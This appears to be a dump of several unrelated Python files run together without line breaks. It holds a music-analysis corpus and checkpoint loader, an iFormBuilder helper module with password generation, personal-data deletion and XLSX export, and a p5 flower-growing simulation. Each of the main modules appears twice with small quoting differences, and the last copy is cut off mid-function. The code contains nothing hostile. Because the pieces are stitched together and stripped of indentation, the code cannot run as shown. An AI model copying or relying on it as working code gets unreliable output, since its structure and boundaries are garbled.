Dict[str, Dict[str, object]] = None) -> str: results = self.get_entity_design_ids_by_name(entity_name, entity_designs_data) if len(results) > 0: return results[0] else: return None def get_entity_design_ids_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> List[str]: entity_designs_data = entity_designs_data or self.get_data_dict3() results = core.get_ids_from_property_value(entity_designs_data, self.__description_property_name, entity_name, fix_data_delegate=self.__fix_data_delegate) return results def update_cache(self) -> None: self.__cache.update_data()
import json import logging import os import pickle import sys from argparse import Namespace from glob import glob from pathlib import Path from typing import Any, Dict, List, Union from music21.converter import parse from tqdm import tqdm import harmonic_inference.models.initial_chord_models as icm from harmonic_inference.data.corpus_reading import load_clean_corpus_dfs from harmonic_inference.data.data_types import ChordType, PitchType from harmonic_inference.data.piece import ( Piece, get_measures_df_from_music21_score, get_score_piece_from_data_frames, get_score_piece_from_dict, get_score_piece_from_music_xml, ) from harmonic_inference.models.joint_model import MODEL_CLASSES def load_kwargs_from_json(json_path: Union[Path, str, None]) -> Dict[str, Any]: """ Load keyword arguments from a given json file. Fields may be anything json can handle. Additionally, this function will load enums as strings in appropriate fields. For example, and "ChordType.*" will load correctly in any dict field ending in "reduction". Also, "PitchType.*" will load correctly in any non-nested field. Parameters ---------- json_path : Union[Path, str, None] A path to load a json file from. If None, an empty dict is returned. Returns ------- parsed_kwargs : Dict[str, Any] The keyword arguments for an init method, which can be used like Class(**kwargs). """ if json_path is None: return {} with open(json_path, "r") as json_file: parsed_kwargs = json.load(json_file) for key, value in parsed_kwargs.items(): if isinstance(value, str): if value.startswith("PitchType") or value.startswith("PieceType"): parsed_kwargs[key] = PitchType[value[10:]] elif isinstance(value, dict) and "reduction" in key: parsed_kwargs[key] = { ChordType[chord_key[10:]]: ChordType[chord_val[10:]] for chord_key, chord_val in value.items() } return parsed_kwargs def load_pieces( xml: bool = False, input_path: Union[str, Path] = "corpus_data", piece_dicts_path: Union[str, Path] = None, file_ids: List[int] = None, specific_id: int = None, ) -> List[Piece]: """ A utility function for loading pieces from xml, dfs, or pickled dicts. Parameters ---------- xml : bool True to load from musicXML files. False from dfs. input_path : Union[str, Path] A path to the raw data location (music_xml directory or tsv directory). piece_dicts_path : Union[str, Path] An optional path to pre-loaded dicts of pieces. Makes loading much faster. file_ids : List[int] A List of file_ids for the pieces to be loaded. specific_id : int A specific id if only 1 file should be loaded (must be found in the file_ids list). Returns ------- pieces : List[Piece] A List of loaded Piece objects. Raises ------ ValueError If a specific_id is specified, but no file_ids are given, or the specific_id is not found in the given file_ids. """ # Load raw data if xml: xmls = [] csvs = [] if Path(input_path).is_file(): xmls = [input_path] csvs = [None] input_path = Path(input_path).parent else: for file_path in sorted( glob(os.path.join(str(input_path), "**", "*.mxl"), recursive=True) ): music_xml_path = Path(file_path) label_csv_path = ( music_xml_path.parent.parent / "chords" / Path(str(music_xml_path.stem) + ".csv") ) if music_xml_path.exists(): xmls.append(music_xml_path) csvs.append(label_csv_path) if label_csv_path.exists() else None else: files_df, measures_df, chords_df, notes_df = load_clean_corpus_dfs(input_path) if not file_ids: file_ids = list(files_df.index) if not xml else list(range(len(xmls))) # Load from pkl if available if piece_dicts_path: pkl_path = Path(piece_dicts_path) if pkl_path.exists(): with open(pkl_path, "rb") as pkl_file: piece_dicts = pickle.load(pkl_file) elif xml: piece_dicts = [None] * len(xmls) else: piece_dicts = [None] * len(file_ids) # Return only one specific file if specific_id is not None: if file_ids is None or specific_id not in file_ids: raise ValueError("Given id not in the set of file_ids to load.") index = file_ids.index(specific_id) file_ids = [file_ids[index]] piece_dicts = [piece_dicts[index]] # Load pieces (from dicts or from source files) if xml: pieces = [ get_score_piece_from_music_xml( xmls[file_id], csvs[file_id], name=f"{file_id}: {xmls[file_id].relative_to(input_path)}", ) if piece_dict is None else get_score_piece_from_dict( get_measures_df_from_music21_score(parse(xmls[file_id])), piece_dict, name=f"{file_id}: {xmls[file_id].relative_to(input_path)}", ) for file_id, piece_dict in tqdm( zip(file_ids, piece_dicts), total=len(file_ids), desc="Loading pieces", ) ] else: pieces = [ get_score_piece_from_data_frames( notes_df.loc[file_id], chords_df.loc[file_id] if chords_df is not None else None, measures_df.loc[file_id], name=( f"{file_id}: {files_df.loc[file_id, "corpus_name"]}/" f"{files_df.loc[file_id, "file_name"]}" ), ) if piece_dict is None else get_score_piece_from_dict( measures_df.loc[file_id], piece_dict, name=( f"{file_id}: {files_df.loc[file_id, "corpus_name"]}/" f"{files_df.loc[file_id, "file_name"]}" ), ) for file_id, piece_dict in tqdm( zip(file_ids, piece_dicts), total=len(file_ids), desc="Loading pieces", ) ] return pieces def load_models_from_argparse(ARGS: Namespace) -> Dict: """ Get a Dictionary of loaded models from command line arguments. Parameters ---------- ARGS : Namespace The parsed argparse Namespace from command line arguments including model information. Returns ------- models : Dict A dictionary mapping each model abbreviation (csm, ccm, etc.) to a loaded instance of a model of that type. """ models = {} for model_name, model_classes in MODEL_CLASSES.items(): if model_name == "icm": continue DEFAULT_PATH = os.path.join( "`--checkpoint`", model_name, "lightning_logs", "version_*", "checkpoints", "*.ckpt" ) checkpoint_arg = getattr(ARGS, model_name) version_arg = getattr(ARGS, f"{model_name}_version") if checkpoint_arg == DEFAULT_PATH or version_arg is not None: checkpoint_arg = DEFAULT_PATH checkpoint_arg = checkpoint_arg.replace("`--checkpoint`", ARGS.checkpoint) if version_arg is not None: checkpoint_arg = checkpoint_arg.replace("_*", f"_{version_arg}") possible_checkpoints = sorted(glob(checkpoint_arg)) if len(possible_checkpoints) == 0: logging.error("No checkpoints found for %s in %s.", model_name, checkpoint_arg) sys.exit(2) if len(possible_checkpoints) == 1: checkpoint = possible_checkpoints[0] logging.info("Loading checkpoint %s for %s.", checkpoint, model_name) else: checkpoint = possible_checkpoints[-1] logging.info("Multiple checkpoints found for %s. Loading %s.", model_name, checkpoint) for model_class in model_classes: try: models[model_name] = model_class.load_from_checkpoint(checkpoint) except Exception: continue else: models[model_name].freeze() break assert model_name in models, f"Couldn't load {model_name} from checkpoint {checkpoint}." # Load icm json differently icm_path = ARGS.icm_json.replace("`--checkpoint`", ARGS.checkpoint) logging.info("Loading checkpoint %s for icm.", icm_path) models["icm"] = icm.SimpleInitialChordModel(load_kwargs_from_json(icm_path)) return models
import json import logging import os import pickle import sys from argparse import Namespace from glob import glob from pathlib import Path from typing import Any, Dict, List, Union from music21.converter import parse from tqdm import tqdm import harmonic_inference.models.initial_chord_models as icm from harmonic_inference.data.corpus_reading import load_clean_corpus_dfs from harmonic_inference.data.data_types import ChordType, PitchType from harmonic_inference.data.piece import ( Piece, get_measures_df_from_music21_score, get_score_piece_from_data_frames, get_score_piece_from_dict, get_score_piece_from_music_xml, ) from harmonic_inference.models.joint_model import MODEL_CLASSES def load_kwargs_from_json(json_path: Union[Path, str, None]) -> Dict[str, Any]: """ Load keyword arguments from a given json file. Fields may be anything json can handle. Additionally, this function will load enums as strings in appropriate fields. For example, and "ChordType.*" will load correctly in any dict field ending in "reduction". Also, "PitchType.*" will load correctly in any non-nested field. Parameters ---------- json_path : Union[Path, str, None] A path to load a json file from. If None, an empty dict is returned. Returns ------- parsed_kwargs : Dict[str, Any] The keyword arguments for an init method, which can be used like Class(**kwargs). """ if json_path is None: return {} with open(json_path, "r") as json_file: parsed_kwargs = json.load(json_file) for key, value in parsed_kwargs.items(): if isinstance(value, str): if value.startswith("PitchType") or value.startswith("PieceType"): parsed_kwargs[key] = PitchType[value[10:]] elif isinstance(value, dict) and "reduction" in key: parsed_kwargs[key] = { ChordType[chord_key[10:]]: ChordType[chord_val[10:]] for chord_key, chord_val in value.items() } return parsed_kwargs def load_pieces( xml: bool = False, input_path: Union[str, Path] = "corpus_data", piece_dicts_path: Union[str, Path] = None, file_ids: List[int] = None, specific_id: int = None, ) -> List[Piece]: """ A utility function for loading pieces from xml, dfs, or pickled dicts. Parameters ---------- xml : bool True to load from musicXML files. False from dfs. input_path : Union[str, Path] A path to the raw data location (music_xml directory or tsv directory). piece_dicts_path : Union[str, Path] An optional path to pre-loaded dicts of pieces. Makes loading much faster. file_ids : List[int] A List of file_ids for the pieces to be loaded. specific_id : int A specific id if only 1 file should be loaded (must be found in the file_ids list). Returns ------- pieces : List[Piece] A List of loaded Piece objects. Raises ------ ValueError If a specific_id is specified, but no file_ids are given, or the specific_id is not found in the given file_ids. """ # Load raw data if xml: xmls = [] csvs = [] if Path(input_path).is_file(): xmls = [input_path] csvs = [None] input_path = Path(input_path).parent else: for file_path in sorted( glob(os.path.join(str(input_path), "**", "*.mxl"), recursive=True) ): music_xml_path = Path(file_path) label_csv_path = ( music_xml_path.parent.parent / "chords" / Path(str(music_xml_path.stem) + ".csv") ) if music_xml_path.exists(): xmls.append(music_xml_path) csvs.append(label_csv_path) if label_csv_path.exists() else None else: files_df, measures_df, chords_df, notes_df = load_clean_corpus_dfs(input_path) if not file_ids: file_ids = list(files_df.index) if not xml else list(range(len(xmls))) # Load from pkl if available if piece_dicts_path: pkl_path = Path(piece_dicts_path) if pkl_path.exists(): with open(pkl_path, "rb") as pkl_file: piece_dicts = pickle.load(pkl_file) elif xml: piece_dicts = [None] * len(xmls) else: piece_dicts = [None] * len(file_ids) # Return only one specific file if specific_id is not None: if file_ids is None or specific_id not in file_ids: raise ValueError("Given id not in the set of file_ids to load.") index = file_ids.index(specific_id) file_ids = [file_ids[index]] piece_dicts = [piece_dicts[index]] # Load pieces (from dicts or from source files) if xml: pieces = [ get_score_piece_from_music_xml( xmls[file_id], csvs[file_id], name=f"{file_id}: {xmls[file_id].relative_to(input_path)}", ) if piece_dict is None else get_score_piece_from_dict( get_measures_df_from_music21_score(parse(xmls[file_id])), piece_dict, name=f"{file_id}: {xmls[file_id].relative_to(input_path)}", ) for file_id, piece_dict in tqdm( zip(file_ids, piece_dicts), total=len(file_ids), desc="Loading pieces", ) ] else: pieces = [ get_score_piece_from_data_frames( notes_df.loc[file_id], chords_df.loc[file_id] if chords_df is not None else None, measures_df.loc[file_id], name=( f"{file_id}: {files_df.loc[file_id, 'corpus_name']}/" f"{files_df.loc[file_id, 'file_name']}" ), ) if piece_dict is None else get_score_piece_from_dict( measures_df.loc[file_id], piece_dict, name=( f"{file_id}: {files_df.loc[file_id, 'corpus_name']}/" f"{files_df.loc[file_id, 'file_name']}" ), ) for file_id, piece_dict in tqdm( zip(file_ids, piece_dicts), total=len(file_ids), desc="Loading pieces", ) ] return pieces def load_models_from_argparse(ARGS: Namespace) -> Dict: """ Get a Dictionary of loaded models from command line arguments. Parameters ---------- ARGS : Namespace The parsed argparse Namespace from command line arguments including model information. Returns ------- models : Dict A dictionary mapping each model abbreviation (csm, ccm, etc.) to a loaded instance of a model of that type. """ models = {} for model_name, model_classes in MODEL_CLASSES.items(): if model_name == "icm": continue DEFAULT_PATH = os.path.join( "`--checkpoint`", model_name, "lightning_logs", "version_*", "checkpoints", "*.ckpt" ) checkpoint_arg = getattr(ARGS, model_name) version_arg = getattr(ARGS, f"{model_name}_version") if checkpoint_arg == DEFAULT_PATH or version_arg is not None: checkpoint_arg = DEFAULT_PATH checkpoint_arg = checkpoint_arg.replace("`--checkpoint`", ARGS.checkpoint) if version_arg is not None: checkpoint_arg = checkpoint_arg.replace("_*", f"_{version_arg}") possible_checkpoints = sorted(glob(checkpoint_arg)) if len(possible_checkpoints) == 0: logging.error("No checkpoints found for %s in %s.", model_name, checkpoint_arg) sys.exit(2) if len(possible_checkpoints) == 1: checkpoint = possible_checkpoints[0] logging.info("Loading checkpoint %s for %s.", checkpoint, model_name) else: checkpoint = possible_checkpoints[-1] logging.info("Multiple checkpoints found for %s. Loading %s.", model_name, checkpoint) for model_class in model_classes: try: models[model_name] = model_class.load_from_checkpoint(checkpoint) except Exception: continue else: models[model_name].freeze() break assert model_name in models, f"Couldn't load {model_name} from checkpoint {checkpoint}." # Load icm json differently icm_path = ARGS.icm_json.replace("`--checkpoint`", ARGS.checkpoint) logging.info("Loading checkpoint %s for icm.", icm_path) models["icm"] = icm.SimpleInitialChordModel(load_kwargs_from_json(icm_path)) return models
import json import ifb import string from secrets import choice import random import xlsxwriter import time import datetime import os import pprint import logging import urllib.parse import itertools def genPassword(n=8): if n < 8: n = 8 uppercase = string.ascii_uppercase numbers = string.digits specials = "!@#$%^&" pool = string.ascii_letters + numbers + specials password = ''.join(choice(specials)) password += ''.join(choice(numbers)) password += ''.join(choice(uppercase)) password += ''.join(choice(pool) for i in range(n-3)) return ''.join(random.sample(password,len(password))) def sortOptionList(api,profile_id,option_list_id,reverse=False): options = api.readAllOptions(profile_id,option_list_id,"sort_order,key_value") if len(options) > 0: sorted_options = sorted(options, key=lambda k: k["key_value"],reverse=reverse) for i in range(len(sorted_options)): sorted_options[i]['sort_order'] = i return api.updateOptions(profile_id,option_list_id,sorted_options) else: return False def deletePersonalData(api,profile_id,page_id): elements = api.readAllElements(profile_id,page_id,"name,reference_id_5,data_type,data_size") if len(elements) > 0: body = {"fields": []} for element in elements: if element['reference_id_5'] == "PERSONAL_DATA": body['fields'].append({"element_name": element['name'], "value": ""}) elif element['data_type'] == 18: deletePersonalData(api,profile_id,element['data_size']) else: pass if len(body['fields']) > 0: return api.updateRecords(profile_id,page_id,body) else: return False else: return False def insertSubformRecords(api,profile_id,page_id,parent_page_id,parent_element_id,parent_record_id,records): if isinstance(records,dict): records = [records] body = [{ "parent_page_id": parent_page_id, "parent_element_id": parent_element_id, "parent_record_id": parent_record_id, "fields": [{"element_name": key, "value": record[key]} for key in record] } for record in records] result = api.createRecords(profile_id,page_id,body) if result: count = len(api.readAllRecords(profile_id,page_id,f"parent_page_id(=\"{parent_page_id}\"),parent_element_id(=\"{parent_element_id}\"),parent_record_id(=\"{parent_record_id}\")")) parent_element = api.readElement(profile_id,parent_page_id,parent_element_id) return api.updateRecord(profile_id,parent_page_id,parent_record_id,{ "fields": [ { "element_name": parent_element['name'], "value": count } ] }) else: return result def importRecords(api,profile_id,page_id,records): # check for mismatching data-column names elements = api.readAllElements(profile_id,page_id,"name") dcns = [element['name'] for element in elements] result = api.createRecords(profile_id,page_id,records) return result def exportRecordsXLSX(api,profile,page,subforms=True): def sortByTerm(l,t,r=False): return sorted(l,key=lambda l: l[t],reverse=r) def getSubformPageIDs(api,profile,page): print("Searching through %s for subforms..." % page) page_ids = [] elements = api.readAllElements(profile,page,"name,data_type(=\"18\"),data_size") for element in elements: page_ids.append({"page_id": element['data_size'], "parent_page_id": page, "parent_element_id": element['id']}) page_ids += getSubformPageIDs(api,profile,element['data_size']) return page_ids def buildStructure(ifb,profile_id,page_id): dcns = [] elements = ifb.readAllElements(profile_id,page_id,"name,data_type,data_size") for i in range(len(elements)): if elements[i]['data_type'] in (16,17,18,35): pass else: dcns.append(elements[i]['name']) return dcns def buildGrammar(structure,parent_page_id,parent_element_id): if parent_page_id == None or parent_element_id == None: fields = "id,parent_record_id,parent_page_id,parent_element_id,created_date,created_by,created_location,created_device_id,modified_date,modified_by,modified_location,modified_device_id,server_modified_date," else: fields = "id,parent_record_id,parent_page_id(=\"%s\"),parent_element_id(=\"%s\"),created_date,created_by,created_location,created_device_id,modified_date,modified_by,modified_location,modified_device_id,server_modified_date," % (parent_page_id, parent_element_id) for i in range(len(structure)): fields += structure[i] + "," return fields.rstrip(',') page_info = api.readPage(profile,page) print("Creating XLSX file for <%s>..." % page_info['name']) # get list of page ids and parent page ids page_list = [{"page_id": page, "parent_page_id": None, "parent_element_id": None}] if subforms == True: page_list += getSubformPageIDs(api,profile,page) # get page names id_list = "|".join([f"(=\"{p["page_id"]}\")" for p in page_list]) page_names = api.readPages(profile,"id(%s)" % id_list) page_names = {p['id']:p['name'] for p in page_names} # add page names to page_list for i in range(len(page_list)): page_list[i]['page_name'] = page_names[page_list[i]['page_id']] data = {} # loop through page list and append records to data for p in page_list: print("Fetching records for %s <%s>..." % (p['page_name'],p['page_id'])) if p['page_name'] not in data: data[p['page_name']] = [] print("Building grammar...") structure = buildStructure(api,profile,p['page_id']) fields = buildGrammar(structure,p['parent_page_id'],p['parent_element_id']) print("Getting records...") records = api.readAllRecords(profile,p['page_id'],fields) if records is not None: data[p['page_name']] += records print("%s <%s> has %s records" % (p['page_name'],p['page_id'],len(records))) # create workbook workbook_name = "%s - %s.xlsx" % (page_info['name'],int(time.time())) print("Creating Workbook <%s>..." % workbook_name) workbook = xlsxwriter.Workbook(workbook_name,{'constant_memory': True}) # loop through and create worksheets for d in data: print("Writing Worksheet <%s>..." % d[0:31]) worksheet = workbook.add_worksheet(d[0:31]) data[d] = sortByTerm(data[d],"id",True) if len(data[d]) > 0: # write data column names as headings col = 0 for record in data[d][0]: worksheet.write(0,col,record) col += 1 row = 1 # write data to worksheet for record in data[d]: col = 0 for cell in record: worksheet.write_string(row, col, str(record[cell])) col += 1 row += 1 workbook.close() return workbook_name
import json import ifb import string from secrets import choice import random import xlsxwriter import time import datetime import os import pprint import logging import urllib.parse import itertools def genPassword(n=8): if n < 8: n = 8 uppercase = string.ascii_uppercase numbers = string.digits specials = "!@#$%^&" pool = string.ascii_letters + numbers + specials password = ''.join(choice(specials)) password += ''.join(choice(numbers)) password += ''.join(choice(uppercase)) password += ''.join(choice(pool) for i in range(n-3)) return ''.join(random.sample(password,len(password))) def sortOptionList(api,profile_id,option_list_id,reverse=False): options = api.readAllOptions(profile_id,option_list_id,"sort_order,key_value") if len(options) > 0: sorted_options = sorted(options, key=lambda k: k["key_value"],reverse=reverse) for i in range(len(sorted_options)): sorted_options[i]['sort_order'] = i return api.updateOptions(profile_id,option_list_id,sorted_options) else: return False def deletePersonalData(api,profile_id,page_id): elements = api.readAllElements(profile_id,page_id,"name,reference_id_5,data_type,data_size") if len(elements) > 0: body = {"fields": []} for element in elements: if element['reference_id_5'] == "PERSONAL_DATA": body['fields'].append({"element_name": element['name'], "value": ""}) elif element['data_type'] == 18: deletePersonalData(api,profile_id,element['data_size']) else: pass if len(body['fields']) > 0: return api.updateRecords(profile_id,page_id,body) else: return False else: return False def insertSubformRecords(api,profile_id,page_id,parent_page_id,parent_element_id,parent_record_id,records): if isinstance(records,dict): records = [records] body = [{ "parent_page_id": parent_page_id, "parent_element_id": parent_element_id, "parent_record_id": parent_record_id, "fields": [{"element_name": key, "value": record[key]} for key in record] } for record in records] result = api.createRecords(profile_id,page_id,body) if result: count = len(api.readAllRecords(profile_id,page_id,f"parent_page_id(=\"{parent_page_id}\"),parent_element_id(=\"{parent_element_id}\"),parent_record_id(=\"{parent_record_id}\")")) parent_element = api.readElement(profile_id,parent_page_id,parent_element_id) return api.updateRecord(profile_id,parent_page_id,parent_record_id,{ "fields": [ { "element_name": parent_element['name'], "value": count } ] }) else: return result def importRecords(api,profile_id,page_id,records): # check for mismatching data-column names elements = api.readAllElements(profile_id,page_id,"name") dcns = [element['name'] for element in elements] result = api.createRecords(profile_id,page_id,records) return result def exportRecordsXLSX(api,profile,page,subforms=True): def sortByTerm(l,t,r=False): return sorted(l,key=lambda l: l[t],reverse=r) def getSubformPageIDs(api,profile,page): print("Searching through %s for subforms..." % page) page_ids = [] elements = api.readAllElements(profile,page,"name,data_type(=\"18\"),data_size") for element in elements: page_ids.append({"page_id": element['data_size'], "parent_page_id": page, "parent_element_id": element['id']}) page_ids += getSubformPageIDs(api,profile,element['data_size']) return page_ids def buildStructure(ifb,profile_id,page_id): dcns = [] elements = ifb.readAllElements(profile_id,page_id,"name,data_type,data_size") for i in range(len(elements)): if elements[i]['data_type'] in (16,17,18,35): pass else: dcns.append(elements[i]['name']) return dcns def buildGrammar(structure,parent_page_id,parent_element_id): if parent_page_id == None or parent_element_id == None: fields = "id,parent_record_id,parent_page_id,parent_element_id,created_date,created_by,created_location,created_device_id,modified_date,modified_by,modified_location,modified_device_id,server_modified_date," else: fields = "id,parent_record_id,parent_page_id(=\"%s\"),parent_element_id(=\"%s\"),created_date,created_by,created_location,created_device_id,modified_date,modified_by,modified_location,modified_device_id,server_modified_date," % (parent_page_id, parent_element_id) for i in range(len(structure)): fields += structure[i] + "," return fields.rstrip(',') page_info = api.readPage(profile,page) print("Creating XLSX file for <%s>..." % page_info['name']) # get list of page ids and parent page ids page_list = [{"page_id": page, "parent_page_id": None, "parent_element_id": None}] if subforms == True: page_list += getSubformPageIDs(api,profile,page) # get page names id_list = "|".join([f"(=\"{p['page_id']}\")" for p in page_list]) page_names = api.readPages(profile,"id(%s)" % id_list) page_names = {p['id']:p['name'] for p in page_names} # add page names to page_list for i in range(len(page_list)): page_list[i]['page_name'] = page_names[page_list[i]['page_id']] data = {} # loop through page list and append records to data for p in page_list: print("Fetching records for %s <%s>..." % (p['page_name'],p['page_id'])) if p['page_name'] not in data: data[p['page_name']] = [] print("Building grammar...") structure = buildStructure(api,profile,p['page_id']) fields = buildGrammar(structure,p['parent_page_id'],p['parent_element_id']) print("Getting records...") records = api.readAllRecords(profile,p['page_id'],fields) if records is not None: data[p['page_name']] += records print("%s <%s> has %s records" % (p['page_name'],p['page_id'],len(records))) # create workbook workbook_name = "%s - %s.xlsx" % (page_info['name'],int(time.time())) print("Creating Workbook <%s>..." % workbook_name) workbook = xlsxwriter.Workbook(workbook_name,{'constant_memory': True}) # loop through and create worksheets for d in data: print("Writing Worksheet <%s>..." % d[0:31]) worksheet = workbook.add_worksheet(d[0:31]) data[d] = sortByTerm(data[d],"id",True) if len(data[d]) > 0: # write data column names as headings col = 0 for record in data[d][0]: worksheet.write(0,col,record) col += 1 row = 1 # write data to worksheet for record in data[d]: col = 0 for cell in record: worksheet.write_string(row, col, str(record[cell])) col += 1 row += 1 workbook.close() return workbook_name
# one grows, one prunes # have a process attach to a random node and start eating # once enough nodes have been eaten, another process attaches to a random node # and starts repairing links (don't destroy actual nodes, just toggle states) from p5 import * from random import random, choice, randint, shuffle from math import sin, cos, pi cellsize = 200 ttl = 10 maxval = 100 # max cell value for growing purposes, hue value class Cell: def __init__(self, coordinates): self.coords = coordinates # neighbour refs self.left = None self.right = None self.up = None self.down = None self.col = (1, 0.7, 0.7) self.val = 1 # don't go below 1 # flower stuff self.center = random() * 5 + 5 self.mid_colour = (0, 0, 1) self.petal_colour = choice(((51, 0.78, 0.95), (61, 0.85, 0.98), (283, 0.39, 0.86), (313, 0.39, 0.93))) self.num_petals = randint(8, 12) self.petal_deltas = [] for p in range(self.num_petals): pr = randint(30, 50) d1 = random()*pr*0.5 + pr*0.3 d2 = random()*pr*0.5 + pr*0.3 self.petal_deltas += [(pr, d1, d2)] def draw_me(self): stroke(0) stroke_weight(1) # draw a flower according to the cell's value if self.val < (maxval / 10): # 10% of max value doesn't get a flower return petals = [] p_a = pi*2/self.num_petals scale = self.val / maxval sx, sy = self.coords[0]*cellsize+cellsize/2, self.coords[1]*cellsize+cellsize/2 for i, pd in zip(range(self.num_petals), self.petal_deltas): p = [(sx, sy), (sx, sy)] p += [(cos(i*p_a-p_a/2)*pd[1]*scale+sx, sin(i*p_a-p_a/2)*pd[2]*scale+sy)] p += [(cos(i*p_a)*pd[0]*scale+sx, sin(i*p_a)*pd[0]*scale+sy)] # mid point p += [(cos(i*p_a+p_a/2)*pd[1]*scale+sx, sin(i*p_a+p_a/2)*pd[2]*scale+sy)] p += [(sx, sy), (sx, sy)] petals.append(p) fill(*self.petal_colour) for petal in petals: begin_shape() for p in petal: curve_vertex(*p) end_shape() fill(*self.mid_colour) circle(sx, sy, self.center*scale) def get_coords(self): return self.coords def show(self, eater): stroke_weight(4) no_fill() if eater: stroke(0, 1, 1) else: stroke(114, .75, .75) circle(self.coords[0]*cellsize+cellsize/2, self.coords[1]*cellsize+cellsize/2, cellsize/2) def __repr__(self): return f"({self.coords}) {"<" if self.left else ""}{">" if self.right else ""}{"v" if self.down else ""}{"^" if self.up else ""}" class Grid: def __init__(self, w, h): self.h = h self.w = w self.cells = {} for y in range(h): for x in range(w): self.cells[x, y] = Cell((x, y)) def get_cell_at(self, coordinates): return self.cells[coordinates] def draw_me(self): for cell in self.cells: self.cells[cell].draw_me() class Agent: def __init__(self, grid, start=None, eater=False): self.grid = grid if not start: self.coords = int(random()*grid.w), int(random()*grid.h) else: self.coords = start self.eater = eater self.ttm = ttl # time to move in frames, maybe make eaters move faster as they eat more and slower with less food? self.time_left = self.ttm self.strength = random()*5 * 1 if not eater else -1 def calc_weights(self): # Caluclate the values of surrounding cells as a movement target, return them as a percentage # of total value of connnected cells here = self.grid.get_cell_at(self.coords) t = sum((x.val for x in (here.left, here.right, here.up, here.down) if x)) n = {x: (x.val/t) for x in (here.left, here.right, here.up, here.down) if x} return n def move(self): self.time_left -= 1 if self.time_left > 0: return else: self.time_left = self.ttm nxt = self.calc_weights() # use the random value to pick a neighbour to move to # eaters prefer high values, growers prefer low values r = random() k = list(nxt) shuffle(k) for c in k: v = (1 - nxt[c]) if not self.eater else nxt[c] r -= v if r < 0: self.coords = c.get_coords() break def modify(self): self.grid.cells[self.coords].val += self.strength if self.grid.cells[self.coords].val < 1: self.grid.cells[self.coords].val = 1 elif self.grid.cells[self.coords].val > maxval: self.grid.cells[self.coords].val = maxval def show(self): self.grid.get_cell_at(self.coords).show(self.eater) def setup(): global grid, eater, grower size(800, 800) color_mode('HSB', 360, 1, 1, 1) #no_loop() grid = Grid(int(width/cellsize), int(height/cellsize)) eater = Agent(grid, eater=True) grower = Agent(grid) # link cells in grid for y in range(int(height/cellsize)): for x in range(int(width/cellsize)): if x > 0: grid.cells[x, y].left = grid.cells[x-1, y] if x < int(width/cellsize)-2: grid.cells[x, y].right = grid.cells[x+1, y] if y > 0: grid.cells[x, y].up = grid.cells[x, y-1] if y < int(height/cellsize)-2: grid.cells[x, y].down = grid.cells[x, y+1] def draw(): background(128, 0.62, .54) # modify the values of the grid location according to eater/grower rules eater.modify() grower.modify() eater.move() grower.move() grid.draw_me() eater.show() grower.show() save_frame("d:/tmp/frames/petal.png") if frame_count > 1500: no_loop() print("Done.") run()
# one grows, one prunes # have a process attach to a random node and start eating # once enough nodes have been eaten, another process attaches to a random node # and starts repairing links (don't destroy actual nodes, just toggle states) from p5 import * from random import random, choice, randint, shuffle from math import sin, cos, pi cellsize = 200 ttl = 10 maxval = 100 # max cell value for growing purposes, hue value class Cell: def __init__(self, coordinates): self.coords = coordinates # neighbour refs self.left = None self.right = None self.up = None self.down = None self.col = (1, 0.7, 0.7) self.val = 1 # don't go below 1 # flower stuff self.center = random() * 5 + 5 self.mid_colour = (0, 0, 1) self.petal_colour = choice(((51, 0.78, 0.95), (61, 0.85, 0.98), (283, 0.39, 0.86), (313, 0.39, 0.93))) self.num_petals = randint(8, 12) self.petal_deltas = [] for p in range(self.num_petals): pr = randint(30, 50) d1 = random()*pr*0.5 + pr*0.3 d2 = random()*pr*0.5 + pr*0.3 self.petal_deltas += [(pr, d1, d2)] def draw_me(self): stroke(0) stroke_weight(1) # draw a flower according to the cell's value if self.val < (maxval / 10): # 10% of max value doesn't get a flower return petals = [] p_a = pi*2/self.num_petals scale = self.val / maxval sx, sy = self.coords[0]*cellsize+cellsize/2, self.coords[1]*cellsize+cellsize/2 for i, pd in zip(range(self.num_petals), self.petal_deltas): p = [(sx, sy), (sx, sy)] p += [(cos(i*p_a-p_a/2)*pd[1]*scale+sx, sin(i*p_a-p_a/2)*pd[2]*scale+sy)] p += [(cos(i*p_a)*pd[0]*scale+sx, sin(i*p_a)*pd[0]*scale+sy)] # mid point p += [(cos(i*p_a+p_a/2)*pd[1]*scale+sx, sin(i*p_a+p_a/2)*pd[2]*scale+sy)] p += [(sx, sy), (sx, sy)] petals.append(p) fill(*self.petal_colour) for petal in petals: begin_shape() for p in petal: curve_vertex(*p) end_shape() fill(*self.mid_colour) circle(sx, sy, self.center*scale) def get_coords(self): return self.coords def show(self, eater): stroke_weight(4) no_fill() if eater: stroke(0, 1, 1) else: stroke(114, .75, .75) circle(self.coords[0]*cellsize+cellsize/2, self.coords[1]*cellsize+cellsize/2, cellsize/2) def __repr__(self): return f"({self.coords}) {'<' if self.left else ''}{'>' if self.right else ''}{'v' if self.down else ''}{'^' if self.up else ''}" class Grid: def __init__(self, w, h): self.h = h self.w = w self.cells = {} for y in range(h): for x in range(w): self.cells[x, y] = Cell((x, y)) def get_cell_at(self, coordinates): return self.cells[coordinates] def draw_me(self): for cell in self.cells: self.cells[cell].draw_me() class Agent: def __init__(self, grid, start=None, eater=False): self.grid = grid if not start: self.coords = int(random()*grid.w), int(random()*grid.h) else: self.coords = start self.eater = eater self.ttm = ttl # time to move in frames, maybe make eaters move faster as they eat more and slower with less food? self.time_left = self.ttm self.strength = random()*5 * 1 if not eater else -1 def calc_weights(self): # Caluclate the values of surrounding cells as a movement target, return them as a percentage # of total value of connnected cells here = self.grid.get_cell_at(self.coords) t = sum((x.val for x in (here.left, here.right, here.up, here.down) if x)) n = {x: (x.val/t) for x in (here.left, here.right, here.up, here.down) if x} return n def move(self): self.time_left -= 1 if self.time_left > 0: return else: self.time_left = self.ttm nxt = self.calc_weights() # use the random value to pick a neighbour to move to # eaters prefer high values, growers prefer low values r = random() k = list(nxt) shuffle(k) for c in k: v = (1 - nxt[c]) if not self.eater else nxt[c] r -= v if r < 0: self.coords = c.get_coords() break def modify(self): self.grid.cells[self.coords].val += self.strength if self.grid.cells[self.coords].val < 1: self.grid.cells[self.coords].val = 1 elif self.grid.cells[self.coords].val > maxval: self.grid.cells[self.coords].val = maxval def show(self): self.grid.get_cell_at(self.coords).show(self.eater) def setup(): global grid, eater, grower size(800, 800) color_mode('HSB', 360, 1, 1, 1) #no_loop() grid = Grid(int(width/cellsize), int(height/cellsize)) eater = Agent(grid, eater=True) grower = Agent(grid) # link cells in grid for y in range(int(height/cellsize)): for x in range(int(width/cellsize)): if x > 0: grid.cells[x, y].left = grid.cells[x-1, y] if x < 